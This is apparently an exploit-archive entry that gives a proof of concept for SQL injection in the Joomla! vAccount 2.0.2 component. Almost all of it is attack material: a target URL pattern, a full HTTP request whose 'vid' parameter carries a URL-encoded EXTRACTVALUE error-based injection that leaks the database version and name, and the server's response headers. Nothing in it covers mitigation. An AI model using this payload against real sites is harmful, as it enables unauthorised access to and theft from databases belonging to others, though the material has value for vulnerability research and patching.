Joomla! vAccount 2.0.2 SQL Injection

`# Exploit Title: Joomla! Component vAccount 2.0.2 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-23  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://wdmtech.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/financial/cost-calculators/vaccount/  
# Version: 2.0.2  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/vaccount-dashboard/expense?vid=[SQL]  
#   
  
GET /[PATH]/vaccount-dashboard/expense?vid=18%20%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32,%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29,%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58 HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: 39b5054fae6740372b1521628707bdc7=pusmhir0h1896vr6v5dvmnqd46  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 500 Internal Server Error  
X-Powered-By: PHP/5.6.36  
Cache-Control: no-cache  
Pragma: no-cache  
Content-Type: text/html; charset=UTF-8  
Server: - Web acceleration by http://target/  
X-Cacheable: NO: beresp.status  
X-Cacheable-status: 500  
Content-Length: 4216  
Accept-Ranges: bytes  
Date: Tue, 22 Jan 2019 21:33:56 GMT  
X-Varnish: 561086750  
Age: 0  
Via: 1.1 varnish  
Connection: keep-alive  
X-Cache: MISS  
`